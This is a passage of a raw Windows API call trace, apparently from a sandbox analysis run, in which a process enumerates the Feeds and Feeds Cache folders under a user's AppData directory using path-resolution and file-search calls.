lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe608, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0070.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0070.107] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xbae322b0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xbae322b0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0070.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.107] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe5f0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0070.107] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe5f0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0070.108] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x62 [0070.108] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe5f0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0070.108] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe5e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0070.109] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x6cfe5e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0070.110] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.110] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.110] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.111] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.111] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.111] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.111] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe5f0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0070.111] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe5f0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0070.112] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x62 [0070.112] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe5f0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0070.112] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe5e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0070.113] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x6cfe5e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0070.114] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.114] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.115] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.115] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.115] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.115] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.115] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe664, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0070.115] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x57 [0070.115] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe664, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0070.116] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe65c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0070.119] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.119] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.119] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.119] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.119] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.119] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2f [0070.119] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.119] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.119] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.119] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.120] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.120] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.120] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.120] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x35 [0070.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.120] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds cache"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.121] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x35 [0070.121] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.121] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.122] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.122] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.122] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.122] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.122] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.122] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.122] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.122] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.123] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x3e [0070.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.123] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.123] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x3e [0070.123] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.123] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.123] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.124] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.124] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.124] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.124] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x3e [0070.124] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.124] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.124] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.124] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.124] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.124] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.124] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x3e [0070.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.125] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.125] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x3e [0070.125] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.125] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.125] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.125] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.125] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.125] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.125] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x3e [0070.125] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.126] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.126] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.126] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.126] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.126] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.126] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x3e [0070.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.126] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds cache\\d68g7bij"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.126] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x3e [0070.126] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.127] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.127] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.127] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.127] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.127] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.127] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds 